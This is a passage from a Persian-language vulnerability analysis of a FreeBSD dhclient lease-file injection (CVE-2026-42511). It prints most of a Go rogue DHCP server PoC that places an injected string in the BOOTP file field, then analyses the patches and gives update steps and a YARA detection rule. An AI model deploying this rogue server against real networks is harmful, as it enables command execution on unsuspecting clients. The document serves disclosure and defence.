نقطه ورود برنامه در فایل cmd/dhcp-lab/main.go قرار دارد. برنامه مسیر فایل کانفیگ را از flag خط فرمان میگیرد، کانفیگ را load میکند، سپس یک نمونه از DHCP Server میسازد و آن را اجرا میکند.
func main() {
configPath := flag.String("config", "config.example.json", "path to JSON config")
flag.Parse()
cfg, err := dhcp.LoadConfig(*configPath)
if err != nil {
log.Fatalf("load config: %v", err)
}
server, err := dhcp.NewServer(cfg)
if err != nil {
log.Fatalf("new server: %v", err)
}
log.Printf("DHCP server starting")
log.Printf("bind_ip=%s server_ip=%s broadcast_ip=%s pool=%s-%s",
cfg.BindIP, cfg.ServerIP, cfg.BroadcastIP, cfg.PoolStart, cfg.PoolEnd)
log.Printf("fixed fields: siaddr/next_server=%s sname=%q command=%q",
cfg.NextServer, cfg.SName, cfg.FileCommand)
if err := server.ListenAndServe(); err != nil {
log.Fatalf("server stopped: %v", err)
}
}
از نظر تحلیلی، این بخش خودش exploit logic ندارد؛ فقط pipeline اجرای PoC را میسازد. بخش مهمتر در مرحله بعدی رخ میدهد، یعنی وقتی ()LoadConfig مقدار نهایی فیلد file را از کانفیگ میسازد.
۴.۲ ساخت payload از کانفیگ
در فایل internal/dhcp/config.go ساختار Config تعریف شده است. نکته مهم برای بهرهبرداری، سه فیلد زیر است:
File string `json:"file"`
FileInitialPart string `json:"file_initial_part"`
FileCommand string `json:"file_command"`
برنامه اجازه میدهد مقدار فیلد file یا مستقیماً با کلید file تنظیم شود، یا از ترکیب دو مقدار file_initial_part و file_command ساخته شود. منطق ساخت مقدار نهایی در تابع buildDerivedFields() آمده است:
func (c *Config) buildDerivedFields() {
if c.FileInitialPart != "" || c.FileCommand != "" {
c.File = c.FileInitialPart + c.FileCommand
}
}
در کانفیگ فعلی، مقدار file_initial_part برای شکستن context رشته در lease و مقدار file_command برای ایجاد خروجی آزمایشگاهی استفاده میشود.
جزء | نقش |
file_initial_part | ساخت بخش تزریق syntax و directive |
file_command | تعریف اثر آزمایشگاهی قابل مشاهده |
File | مقدار نهایی که داخل فیلد file در پیام BOOTP/DHCP قرار میگیرد |
کد همچنین محدودیت طول برای file اعمال میکند:
if len(c.File) > 127 {
return fmt.Errorf("file is too long; max 127 visible bytes plus NUL")
}
این محدودیت با ساختار پیام BOOTP/DHCP سازگار است، چون فیلد file یک فیلد ثابت 128 بایتی است. این validation از خراب شدن packet جلوگیری میکند.
۴.۳ مدیریت lease و تخصیص IP به کلاینت
فایل internal/dhcp/lease.go مسئول مدیریت pool آدرسها است. این بخش برای اکسپلویت مستقیم نیست، اما برای پایدار کردن سناریو لازم است؛ چون FreeBSD باید یک lease معتبر دریافت کند تا پاسخ DHCP پذیرفته شود. تابع ()Offer ابتدا بررسی میکند آیا برای MAC کلاینت قبلاً lease وجود دارد یا نه. اگر وجود داشته باشد همان IP قبلی برگردانده میشود؛ در غیر این صورت، اگر کلاینت IP خاصی درخواست کرده باشد و آن IP قابل استفاده باشد، همان را اختصاص میدهد. در نهایت، اولین IP آزاد از pool برگردانده میشود.
func (lm *LeaseManager) Offer(mac string, requested net.IP) (net.IP, error) {
lm.mu.Lock()
defer lm.mu.Unlock()
lm.cleanupExpiredLocked()
if lease, ok := lm.byMAC[mac]; ok {
return append(net.IP(nil), lease.IP...), nil
}
if ip := lm.claimRequestedLocked(mac, requested); ip != nil {
return ip, nil
}
for n := lm.start; n <= lm.end; n++ {
if _, used := lm.byIP[n]; !used {
ip := uint32ToIP(n)
lm.setLocked(mac, ip)
return ip, nil
}
}
return nil, fmt.Errorf("no free IP address in pool")
}
در مرحله DHCPREQUEST، تابع Commit()، lease را نهایی میکند:
func (lm *LeaseManager) Commit(mac string, requested net.IP) (net.IP, error) {
lm.mu.Lock()
defer lm.mu.Unlock()
lm.cleanupExpiredLocked()
if lease, ok := lm.byMAC[mac]; ok {
if requested == nil || lease.IP.Equal(requested) {
lm.setLocked(mac, lease.IP)
return append(net.IP(nil), lease.IP...), nil
}
// Client requested a different IP; release old and try requested.
delete(lm.byIP, ipToUint32(lease.IP))
delete(lm.byMAC, mac)
}
if ip := lm.claimRequestedLocked(mac, requested); ip != nil {
return ip, nil
}
return nil, fmt.Errorf("requested IP %v is unavailable", requested)
}
از نظر بهرهبرداری، این بخش نقش پشتیبان دارد. اگر lease معتبر تولید نشود، FreeBSD ممکن است پاسخ DHCP را نپذیرد یا چرخه DHCP کامل نشود. بنابراین این کد برای رساندن payload به مسیر آسیبپذیر ضروری است، ولی خودش نقطه اکسپلویت نیست.
۴.۴ پارس کردن پکت ورودی
فایل internal/dhcp/packet.go ابتدا پکتهای ورودی را پارس میکند. تابع ()ParsePacket بررسی میکند که پکت حداقل طول لازم را داشته باشد و magic cookie مربوط به DHCP در offset درست قرار گرفته باشد.
func ParsePacket(buf []byte) (*Packet, error) {
if len(buf) < minDHCPPacket {
return nil, fmt.Errorf("packet too short: %d", len(buf))
}
if !equal4(buf[236:240], magicCookie) {
return nil, fmt.Errorf("not a DHCP packet: bad magic cookie")
}
p := &Packet{
Raw: append([]byte(nil), buf...),
Op: buf[0],
HType: buf[1],
HLen: buf[2],
Hops: buf[3],
Secs: binary.BigEndian.Uint16(buf[8:10]),
Flags: binary.BigEndian.Uint16(buf[10:12]),
CIAddr: net.IPv4(buf[12], buf[13], buf[14], buf[15]).To4(),
YIAddr: net.IPv4(buf[16], buf[17], buf[18], buf[19]).To4(),
SIAddr: net.IPv4(buf[20], buf[21], buf[22], buf[23]).To4(),
GIAddr: net.IPv4(buf[24], buf[25], buf[26], buf[27]).To4(),
SName: cString(buf[44:108]),
File: cString(buf[108:236]),
Options: parseOptions(buf[240:]),
}
copy(p.XID[:], buf[4:8])
hlen := int(p.HLen)
if hlen < 0 || hlen > 16 {
hlen = 16
}
p.CHAddr = append([]byte(nil), buf[28:28+hlen]...)
return p, nil
}
این بخش بیشتر برای دریافت درخواستهای FreeBSD است. مقدار اکسپلویت در پاسخ ساخته میشود، نه در درخواست. با این حال، پارس کردن صحیح XID، CHAddr و Options مهم است، چون پاسخ باید با transaction ID و MAC کلاینت هماهنگ باشد تا توسط FreeBSD پذیرفته شود.
۴.۵ ساخت پاسخ DHCP و قرار دادن مقدار در فیلد file
مهمترین بخش کد بهرهبردار تابع ()BuildResponse در packet.go است. این تابع یک پاسخ BOOTREPLY میسازد، transaction ID درخواست را حفظ میکند، IP پیشنهادی را در yiaddr قرار میدهد، MAC کلاینت را کپی میکند و سپس مقدارهای ثابت sname و file را داخل header مینویسد.
func BuildResponse(req *Packet, cfg *Config, msgType byte, yiaddr net.IP) ([]byte, error) {
serverIP := parseIPv4(cfg.ServerIP)
subnetMask := parseIPv4(cfg.SubnetMask)
nextServer := parseIPv4(cfg.NextServer)
if nextServer == nil {
nextServer = serverIP
}
if serverIP == nil || subnetMask == nil {
return nil, fmt.Errorf("server_ip/subnet_mask invalid")
}
buf := make([]byte, fixedHeaderLen)
buf[0] = 2 // BOOTREPLY
buf[1] = req.HType
buf[2] = req.HLen
buf[3] = 0
copy(buf[4:8], req.XID[:])
binary.BigEndian.PutUint16(buf[8:10], 0)
binary.BigEndian.PutUint16(buf[10:12], req.Flags)
if yiaddr4 := yiaddr.To4(); yiaddr4 != nil {
copy(buf[16:20], yiaddr4)
}
copy(buf[20:24], nextServer.To4())
if req.GIAddr != nil {
copy(buf[24:28], req.GIAddr.To4())
}
copy(buf[28:44], zeroPad(req.CHAddr, 16))
copyFixedString(buf[44:108], cfg.SName)
copyFixedString(buf[108:236], cfg.File)
buf = append(buf, magicCookie...)
var err error
buf, err = appendOptionByte(buf, OptMessageType, msgType)
if err != nil {
return nil, err
}
buf, err = appendOptionIP(buf, OptServerID, serverIP)
if err != nil {
return nil, err
}
// A NAK usually only needs message type and server identifier.
if msgType != DHCPNak {
buf, err = appendOptionUint32(buf, OptLeaseTime, cfg.LeaseSeconds)
if err != nil {
return nil, err
}
buf, err = appendOptionIP(buf, OptSubnetMask, subnetMask)
if err != nil {
return nil, err
}
if cfg.Router != "" {
if router := parseIPv4(cfg.Router); router != nil {
buf, err = appendOptionIP(buf, OptRouter, router)
if err != nil {
return nil, err
}
}
}
if len(cfg.DNSServers) > 0 {
dns := make([]net.IP, 0, len(cfg.DNSServers))
for _, s := range cfg.DNSServers {
if ip := parseIPv4(s); ip != nil {
dns = append(dns, ip)
}
}
if len(dns) > 0 {
buf, err = appendOptionIPs(buf, OptDNSServer, dns)
if err != nil {
return nil, err
}
}
}
buf, err = appendOptionString(buf, OptDomainName, cfg.DomainName)
if err != nil {
return nil, err
}
buf, err = appendOptionUint32(buf, OptRenewalTime, cfg.RenewalSeconds)
if err != nil {
return nil, err
}
buf, err = appendOptionUint32(buf, OptRebindingTime, cfg.RebindingSeconds)
if err != nil {
return nil, err
}
// PXE / boot-related DHCP options.
buf, err = appendOptionString(buf, OptTFTPServerName, cfg.TFTPServerName)
if err != nil {
return nil, err
}
buf, err = appendOptionString(buf, OptBootfileName, cfg.BootFileName)
if err != nil {
return nil, err
}
for _, opt := range cfg.CustomOptions {
value, err := opt.Bytes()
if err != nil {
return nil, err
}
buf, err = appendOption(buf, opt.Code, value)
if err != nil {
return nil, err
}
}
}
buf = append(buf, OptEnd)
// Many clients tolerate shorter DHCP packets, but BOOTP/DHCP packets are
// commonly padded to at least 300 bytes.
for len(buf) < minBOOTPSize {
buf = append(buf, 0)
}
return buf, nil
}
خط کلیدی در این بخش این است:
copyFixedString(buf[108:236], cfg.File)
این دقیقاً همان جایی است که مقدار ساختهشده از file_initial_part + file_command وارد پاسخ DHCP میشود. از دید Wireshark، این مقدار در بخش Boot file name دیده میشود؛ اما از نظر تحلیل فنی، باید آن را فیلد file در پیام BOOTP/DHCP نامید. تابع ()copyFixedString قبل از کپی، فیلد مقصد را صفر میکند و سپس رشته را در آن قرار میدهد:
func copyFixedString(dst []byte, s string) {
for i := range dst {
dst[i] = 0
}
copy(dst, []byte(s))
}
این تابع برای ساخت packet معتبر مفید است؛ چون باقی bytes فیلد را صفر میکند. در نتیجه، مقدار file بهصورت رشته NUL-terminated در packet قرار میگیرد و client آن را مثل یک فیلد BOOTP/DHCP عادی دریافت میکند.
۴.۶ اضافه کردن DHCP optionها به پاسخ
بعد از ساخت header ثابت، تابع BuildResponse()، magic cookie و DHCP optionهای لازم را اضافه میکند. این optionها باعث میشوند پاسخ برای کلاینت قابل قبول باشد.
buf = append(buf, magicCookie...)
var err error
buf, err = appendOptionByte(buf, OptMessageType, msgType)
if err != nil {
return nil, err
}
buf, err = appendOptionIP(buf, OptServerID, serverIP)
if err != nil {
return nil, err
}
در ادامه، اگر پاسخ از نوع NAK نباشد، optionهایی مانند lease time، subnet mask، router، DNS، renewal time و rebinding time اضافه میشوند:
if msgType != DHCPNak {
buf, err = appendOptionUint32(buf, OptLeaseTime, cfg.LeaseSeconds)
if err != nil {
return nil, err
}
buf, err = appendOptionIP(buf, OptSubnetMask, subnetMask)
if err != nil {
return nil, err
}
if cfg.Router != "" {
if router := parseIPv4(cfg.Router); router != nil {
buf, err = appendOptionIP(buf, OptRouter, router)
if err != nil {
return nil, err
}
}
}
این بخش اکسپلویت، پیلود را حمل نمیکند؛ اما برای پذیرش پاسخ توسط FreeBSD مهم است. اگر پاسخ فقط شامل فیلد file باشد ولی optionهای پایه DHCP را نداشته باشد، ممکن است چرخه DHCP کامل نشود یا کلاینت آن را نپذیرد. در انتهای packet، option پایان اضافه میشود و packet تا حداقل اندازه رایج BOOTP/DHCP padding میشود:
buf = append(buf, OptEnd)
for len(buf) < minBOOTPSize {
buf = append(buf, 0)
}
۴.۷ منطق سرور و مدیریت پیامهای DHCP
فایل internal/dhcp/server.go حلقه اصلی سرور را پیادهسازی میکند. برنامه روی UDP/67 گوش میدهد، packetها را parse میکند و فقط پیامهایی را که Op == 1 دارند، یعنی BOOTREQUEST هستند، پردازش میکند.
func (s *Server) ListenAndServe() error {
addr := &net.UDPAddr{
IP: parseIPv4(s.cfg.BindIP),
Port: 67,
}
conn, err := net.ListenUDP("udp4", addr)
if err != nil {
return fmt.Errorf("listen udp4 %s:67: %w", s.cfg.BindIP, err)
}
defer conn.Close()
if err := enableBroadcast(conn); err != nil {
log.Printf("warning: could not enable SO_BROADCAST: %v", err)
}
buf := make([]byte, 1500)
for {
n, remote, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("read error: %v", err)
continue
}
raw := append([]byte(nil), buf[:n]...)
req, err := ParsePacket(raw)
if err != nil {
log.Printf("ignore packet from %v: %v", remote, err)
continue
}
if req.Op != 1 {
continue
}
if err := s.handlePacket(conn, req, remote); err != nil {
log.Printf("handle packet from %v: %v", remote, err)
}
}
}
منطق اصلی در ()handlePacket قرار دارد. اگر پیام DHCPDISCOVER باشد، سرور IP پیشنهادی را از LeaseManager میگیرد و پاسخ DHCPOFFER میسازد:
case DHCPDiscover:
requested := req.Options.RequestedIP()
ip, err := s.leases.Offer(mac, requested)
if err != nil {
return err
}
resp, err := BuildResponse(req, s.cfg, DHCPOffer, ip)
if err != nil {
return err
}
log.Printf("DISCOVER mac=%s requested=%v -> OFFER ip=%s command=%q",
mac, requested, ip, s.cfg.FileCommand)
return s.sendReply(conn, req, resp)
اگر پیام DHCPREQUEST باشد، سرور lease را نهایی میکند و پاسخ DHCPACK میسازد:
case DHCPRequest:
if sid := req.Options.ServerID(); sid != nil && !sid.Equal(s.serverIP) {
log.Printf("REQUEST mac=%s ignored: server-id=%s is not us", mac, sid)
return nil
}
requested := req.Options.RequestedIP()
if requested == nil && req.CIAddr != nil && !req.CIAddr.Equal(net.IPv4zero) {
requested = req.CIAddr
}
ip, err := s.leases.Commit(mac, requested)
if err != nil {
nak, buildErr := BuildResponse(req, s.cfg, DHCPNak, net.IPv4zero)
if buildErr == nil {
_ = s.sendReply(conn, req, nak)
}
log.Printf("REQUEST mac=%s requested=%v -> NAK: %v", mac, requested, err)
return nil
}
resp, err := BuildResponse(req, s.cfg, DHCPAck, ip)
if err != nil {
return err
}
log.Printf("REQUEST mac=%s requested=%v -> ACK ip=%s command=%q",
mac, requested, ip, s.cfg.FileCommand)
return s.sendReply(conn, req, resp)
از نظر exploitability، پاسخ DHCPACK اهمیت بیشتری دارد، چون lease نهایی را تأیید میکند و باعث میشود dhclient مقدار دریافتی را در state و فایل lease خود وارد کند.
۴.۸ ارسال پاسخ به کلاینت
تابع ()sendReply پاسخ ساختهشده را ارسال میکند. در حالت relay، اگر giaddr تنظیم شده باشد، پاسخ به relay agent فرستاده میشود. پاسخ به broadcast سگمنت آزمایشگاهی روی UDP/68 ارسال میشود.
func (s *Server) sendReply(conn *net.UDPConn, req *Packet, payload []byte) error {
if req.GIAddr != nil && !req.GIAddr.Equal(net.IPv4zero) {
dst := &net.UDPAddr{IP: req.GIAddr, Port: 67}
_, err := conn.WriteToUDP(payload, dst)
return err
}
dst := &net.UDPAddr{IP: s.broadcastIP, Port: 68}
_, err := conn.WriteToUDP(payload, dst)
return err
}
برای اینکه ارسال broadcast در سیستمهای Unix-like درست کار کند، فایل sockopt_unix.go گزینه SO_BROADCAST را روی socket فعال میکند:
func enableBroadcast(conn *net.UDPConn) error {
raw, err := conn.SyscallConn()
if err != nil {
return err
}
var sockErr error
err = raw.Control(func(fd uintptr) {
sockErr = syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1)
})
if err != nil {
return err
}
return sockErr
}
این بخش برای پایداری PoC مهم است. قبل از اینکه کلاینت IP بگیرد، ارسال پاسخ unicast همیشه قابل اتکا نیست؛ بنابراین ارسال broadcast در شبکه آزمایشگاهی باعث میشود FreeBSD پاسخ را دریافت کند.
۴.۹ موانع موجود در اجرای کد بهرهبردار
در این CVE، موانع اصلی از جنس memory protection نیستند. یعنی ASLR، NX، stack canary یا heap hardening primitive اصلی را متوقف نمیکنند، چون زنجیره exploit از جنس memory corruption نیست. موانع واقعی بیشتر شبکهای، lifecycle-based و وابسته به state dhclient هستند.
مانع | اثر روی PoC | وضعیت در محیط آزمایشگاهی |
نیاز به دریافت پاسخ DHCP از سرور مخرب | بدون پذیرش پاسخ DHCP، مقدار وارد lease نمیشود | با اجرای DHCP Server روی Kali کنترل شده است |
رقابت با DHCP Server معتبر | ممکن است کلاینت از سرور دیگری lease بگیرد | DHCP داخلی VMware غیرفعال شده است |
نیاز به کامل شدن چرخه DHCP | فقط ساخت packet کافی نیست؛ کلاینت باید lease را بپذیرد | با ساخت Offer و ACK معتبر مدیریت شده است |
محدودیت طول فیلد file | پیلود باید کوتاه باشد | با validation طول در config.go کنترل شده است |
نیاز به پارس مجدد lease | اجرای نهایی ممکن است وابسته به lifecycle بعدی باشد | در تست باید این مرحله با خروجی کنترلشده اثبات شود |
پچ امنیتی FreeBSD | نسخه پچشده مقدارهای خطرناک را Reject میکند | ماشین تست فاقد 15.0-RELEASE-p7 است |
DHCP Snooping یا کنترل سوییچ | مانع پاسخدهی Rogue DHCP میشود | در VMnet2 چنین کنترل شبکهای وجود ندارد |
مهاجم باید در همان Broadcast Domain باشد و بتواند به درخواستهای DHCP پاسخ دهد؛ همچنین DHCP Snooping را بهعنوان کنترل شبکهای مطرح میکند. بنابراین «بایپس» در این مقاله نباید بهصورت دور زدن ASLR یا NX نوشته شود. در محیط آزمایشگاهی، موانع عملیاتی با ایزولهسازی شبکه، خاموش کردن DHCPهای دیگر و ساخت پاسخ DHCP معتبر حذف شدهاند؛ این با بایپس امنیتی در شبکه واقعی تفاوت دارد.
۴.۱۰ محدودیتهای PoC
این PoC برای بازتولید آسیبپذیری در محیط آزمایشگاهی مناسب است، اما محدودیتهایی دارد:
محدودیت | توضیح |
production-ready نیست | مدیریت کامل lease، conflict detection، persistence و policyهای DHCP را پیادهسازی نمیکند |
کنترلهای شبکه واقعی را دور نمیزند | اگر DHCP Snooping یا ACL شبکه وجود داشته باشد، PoC الزاماً کار نمیکند |
به broadcast domain وابسته است | PoC برای سناریوی لایه 2 طراحی شده است |
payload باید کوتاه باشد | مقدار در فیلد ثابت 128 بایتی file قرار میگیرد |
نتیجه ممکن است lifecycle-dependent باشد | اثر نهایی ممکن است پس از parse مجدد lease یا رویدادهای بعدی dhclient ظاهر شود |
فقط برای تحقیق کنترلشده است | اجرای آن در شبکه واقعی میتواند باعث اختلال در سرویس DHCP شود |
۵. تحلیل پچ ارائهشده
پچ ارائهشده برای CVE-2026-42511 تلاش نمیکند مقدار دریافتی از DHCP Server را هنگام نوشتن در فایل lease، escape کند؛ بلکه مسیر سادهتر و کمریسکتر را انتخاب میکند؛ رد کردن یا حذف مقدارهایی که برای syntax فایل lease خطرناک هستند. نقطه اصلاح در فایل sbin/dhclient/dhclient.c و در تابع ()packet_to_lease قرار دارد. این محل از نظر طراحی جای مناسبی برای اصلاح است، چون داده قبل از تبدیلشدن به state داخلی lease بررسی میشود و دیگر به مرحله ()write_client_lease نمیرسد.
لینک فایل:
https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient.c
لینک commit امنیتی شاخه releng/15.0:
https://gitlab.com/FreeBSD/freebsd-src/-/commit/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8
۵.۱ جدول commitهای اصلاحی اصلی
Branch / Path | Commit Hash | Revision / نسخه اصلاحشده |
stable/15 | 2621f6c5d4ae | stable/15-n283377 |
releng/15.0 | e7b4fb41aafa | releng/15.0-n281029 / 15.0-RELEASE-p7 |
stable/14 | b3087e05e848 | stable/14-n274076 |
releng/14.4 | 73b801e3b5b3 | releng/14.4-n273691 / 14.4-RELEASE-p3 |
releng/14.3 | dda71167a101 | releng/14.3-n271492 / 14.3-RELEASE-p12 |
stable/13 | 46c01e4dd102 | stable/13-n259859 |
releng/13.5 | a2d45189b9ee | releng/13.5-n259215 / 13.5-RELEASE-p13 |
۵.۲ کد آسیبپذیر قبل از پچ
در نسخه آسیبپذیر، مقدار server_name و filename از فیلدهای ثابت پیام BOOTP/DHCP کپی میشدند، اما بعد از کپی، بررسی کافی روی کاراکترهای خطرناک انجام نمیشد. بخش مرتبط با filename در نسخه آسیبپذیر بهصورت مفهومی چنین بود:
memcpy(lease->filename, packet->raw->file, DHCP_FILE_LEN);
lease->filename[DHCP_FILE_LEN] = '\0';
در ادامه، همین مقدار در مسیر ()write_client_lease به فایل lease نوشته میشد:
if (lease->filename)
fprintf(leaseFile, " filename \"%s\";\n", lease->filename);
if (lease->server_name)
fprintf(leaseFile, " server-name \"%s\";\n", lease->server_name);
ضعف اصلی این بود که مقدار قرارگرفته در s% میتوانست شامل double quote، newline یا کاراکترهایی باشد که syntax فایل lease را تغییر میدهند. بنابراین مشکل در memcpy بهعنوان overflow نبود؛ مشکل در ورود داده validate نشده به context متنی دارای syntax بود. لینک فایل آسیبپذیر ، مطابق build ماشین تست:
https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient.c
۵.۳ کد اصلاحشده در patch امنیتی اولیه
در commit امنیتی e7b4fb41aafa برای شاخه releng/15.0، پس از کپی server_name و filename، بررسی اضافه شد تا اگر مقدار شامل double quote یا backslash باشد، کل lease رد شود. متن commit صریحاً میگوید بعضی optionها مستقیماً در فایل lease نوشته میشوند و اگر DHCP Server مخرب بتواند فیلد medium را کنترل کند، از طریق lease file و dhclient-script به RCE میرسد. کد اصلاحی برای server_name:
memcpy(lease->server_name, packet->raw->sname, DHCP_SNAME_LEN);
lease->server_name[DHCP_SNAME_LEN] = '\0';
if (strchr(lease->server_name, '"') != NULL ||
strchr(lease->server_name, '\\') != NULL) {
warning("dhcpoffer: server name contains invalid characters.");
free_client_lease(lease);
return (NULL);
}
کد اصلاحی برای filename:
memcpy(lease->filename, packet->raw->file, DHCP_FILE_LEN);
lease->filename[DHCP_FILE_LEN] = '\0';
if (strchr(lease->filename, '"') != NULL ||
strchr(lease->filename, '\\') != NULL) {
warning("dhcpoffer: filename contains invalid characters.");
free_client_lease(lease);
return (NULL);
}
لینک GitLab commit:
https://gitlab.com/FreeBSD/freebsd-src/-/commit/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8
لینک فایل dhclient.c در همان commit:
https://gitlab.com/FreeBSD/freebsd-src/-/blob/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8/sbin/dhclient/dhclient.c
۵.۴ تحلیل علت مؤثر بودن patch اولیه
پچ اولیه دقیقاً همان کاراکترهایی را هدف میگیرد که برای شکستن context فایل lease لازم هستند:
کاراکتر | دلیل خطر |
“ | بستن رشته quoted مثل filename “…” |
\ | امکان تغییر معنی escaping یا آمادهسازی bypassهای مبتنی بر escape |
control characters مثل newline | در patch اولیه مستقیم پوشش داده نشده بودند، ولی در errata بعدی اضافه شدند |
در patch اولیه، وجود double quote یا backslash باعث میشود lease کلاً discard شود. این کار جلوی سناریویی را میگیرد که در آن مهاجم مقدار filename را میبندد و directive جدیدی مانند medium را وارد فایل lease میکند. با این حال، این patch اولیه از نظر compatibility سختگیرانه بود؛ چون وجود backslash در file name در برخی محیطهای Windows-centric میتواند عادی باشد. همین موضوع باعث شد FreeBSD خیلی زود یک Errata جداگانه برای بهبود validation منتشر کند.
۵.۵ Errata بعدی: بهبود validation پس از patch امنیتی
دو روز بعد از Advisory امنیتی، FreeBSD، Errata با شناسه FreeBSD-EN-26:11.dhclient منتشر کرد. موضوع آن این بود که validation جدید dhclient بیش از حد سختگیرانه است. در این Errata، شاخه releng/15.0 به 15.0-RELEASE-p8 رسید. Commit مربوط به releng/15.0 برای این بهبود:
https://gitlab.com/FreeBSD/freebsd-src/-/commit/dc8762cfb6e2794ec10873263fa606ff969b1905
لینک فایل اصلاحشده در همان commit:
https://gitlab.com/FreeBSD/freebsd-src/-/blob/dc8762cfb6e2794ec10873263fa606ff969b1905/sbin/dhclient/dhclient.c
این patch دوم چند تغییر مهم ایجاد کرد:
- رشته فقط یکبار پیمایش میشود.
- control characterها نیز reject میشوند.
- در صورت مشاهده کاراکتر خطرناک، فقط همان string حذف میشود و کل lease رد نمیشود.
- backslash در file name به forward slash تبدیل میشود.
۵.۶ کد اصلاح شده در patch تکمیلی
در patch تکمیلی، منطق برای server_name بهجای استفاده از strchr، کاراکترها را یکییکی بررسی میکند. اگر کاراکتر control، double quote یا backslash دیده شود، مقدار server_name حذف میشود، اما کل lease رد نمیشود.
for (i = 0; i < DHCP_SNAME_LEN; i++) {
if (packet->raw->sname[i] == '\0') {
break;
}
if (packet->raw->sname[i] < ' ' ||
packet->raw->sname[i] == '"' ||
packet->raw->sname[i] == '\\') {
warning("dhcpoffer: server name contains "
"unsafe characters");
free(lease->server_name);
lease->server_name = NULL;
break;
}
lease->server_name[i] = packet->raw->sname[i];
}
برای filename، منطق کمی متفاوت است. control character و double quote همچنان unsafe هستند، اما backslash به forward slash تبدیل میشود:
for (i = 0; i < DHCP_FILE_LEN; i++) {
if (packet->raw->file[i] == '\0') {
break;
}
if (packet->raw->file[i] < ' ' ||
packet->raw->file[i] == '"') {
warning("dhcpoffer: file name contains "
"unsafe characters");
free(lease->filename);
lease->filename = NULL;
break;
}
if (packet->raw->file[i] == '\\') {
/*
* This is common in Windows-centric
* environments. Instead of rejecting,
* silently convert to forward slash.
*/
packet->raw->file[i] = '/';
}
lease->filename[i] = packet->raw->file[i];
}
این نسخه از patch نسبت به patch اولیه دقیقتر است، چون از یک طرف مسیر تزریق را میبندد و از طرف دیگر، leaseهای سالمی را که فقط بهدلیل وجود backslash در file name مشکل compatibility داشتند، بیدلیل رد نمیکند. commit مربوطه در releng/15.0 با hash کامل dc8762cfb6e2794ec10873263fa606ff969b1905 منتشر شده است.
۵.۷ مقایسه patch اولیه و patch تکمیلی
ویژگی | patch اولیه / SA-26:12 | patch تکمیلی / EN-26:11 |
شاخه تستشده | releng/15.0 | releng/15.0 |
hash | e7b4fb41aafa | dc8762cfb6e2 |
نسخه release | 15.0-RELEASE-p7 | 15.0-RELEASE-p8 |
رفتار در برابر “ | رد lease | حذف مقدار unsafe |
رفتار در برابر control character | پوشش صریح نداشت | حذف مقدار unsafe |
رفتار در برابر \ در server_name | رد lease | حذف server_name |
رفتار در برابر \ در filename | رد lease | تبدیل به / |
اثر امنیتی | قطع زنجیره exploit | حفظ امنیت با compatibility بهتر |
فایل تغییرکرده | sbin/dhclient/dhclient.c | sbin/dhclient/dhclient.c |
۵.۸ روش اعمال patch روی سیستم آسیبپذیر
برای سیستمهای FreeBSD 15.0-RELEASE نصبشده از base system packages روی معماریهای amd64 یا arm64، Advisory رسمی روش زیر را برای بهروزرسانی معرفی کرده است:
pkg upgrade -r FreeBSD-base
برای سیستمهای RELEASE نصبشده از binary distribution sets، روش رسمی استفاده از freebsd-update است:
freebsd-update fetch
freebsd-update install
برای سیستمهایی که از سورس build میشوند، Advisory روش دریافت patch، بررسی امضای PGP، اعمال patch و سپس buildworld/installworld را پیشنهاد میکند:
fetch https://security.FreeBSD.org/patches/SA-26:12/dhclient.patch
fetch https://security.FreeBSD.org/patches/SA-26:12/dhclient.patch.asc
gpg --verify dhclient.patch.asc
cd /usr/src
patch < /path/to/patch
پس از اعمال patch یا update، باید daemonهای مرتبط restart شوند یا سیستم reboot شود. Advisory رسمی FreeBSD همین سه مسیر update را برای اصلاح ارائه کرده است.
۵.۹ روش بررسی وضعیت patch
برای بررسی وضعیت patch روی سیستم FreeBSD، دستورهای زیر کافی هستند:
freebsd-version -kru
uname -a
خروجی مورد انتظار برای حداقل patch امنیتی شاخه 15.0 باید شامل 15.0-RELEASE-p7 یا نسخه بالاتر باشد:
15.0-RELEASE-p7
15.0-RELEASE-p7
15.0-RELEASE-p7
۵.۱۰ تشخیص source-level با YARA
این YARA فقط برای بررسی سورسکد است، نه برای تشخیص قطعی وضعیت باینری نصبشده. برای وضعیت واقعی سیستم، freebsd-version -kru و hash source tree قابل اتکاتر هستند.
rule FreeBSD_Dhclient_CVE_2026_42511_Vulnerable_Source
{
meta:
description = "Heuristic source-level detection for vulnerable FreeBSD dhclient lease serialization behavior"
cve = "CVE-2026-42511"
target_file = "sbin/dhclient/dhclient.c"
strings :
$write_filename = "fprintf(leaseFile, \" filename \\\"%s\\\";\\n\", lease->filename);" ascii
$write_server = "fprintf(leaseFile, \" server-name \\\"%s\\\";\\n\", lease->server_name);" ascii
$old_copy_file = "memcpy(lease->filename, packet->raw->file, DHCP_FILE_LEN);" ascii
$old_copy_sname = "memcpy(lease->server_name, packet->raw->sname, DHCP_SNAME_LEN);" ascii
$fix_quote_file = "packet->raw->file[i] == '\"'" ascii
$fix_quote_srv = "packet->raw->sname[i] == '\"'" ascii
$fix_ctrl_file = "packet->raw->file[i] < ' '" ascii
$fix_ctrl_srv = "packet->raw->sname[i] < ' '" ascii
condition :
$write_filename and $write_server and
$old_copy_file and $old_copy_sname and
not (($fix_quote_file and $fix_quote_srv) or ($fix_ctrl_file and $fix_ctrl_srv))
}
این rule عمداً محافظهکارانه نوشته شده است. هدف آن تشخیص سریع الگوی سورس آسیبپذیر است، نه جایگزین کردن بررسی سطح پچ و ممکن است روی backportهای متفاوت false positive یا false negative داشته باشد.


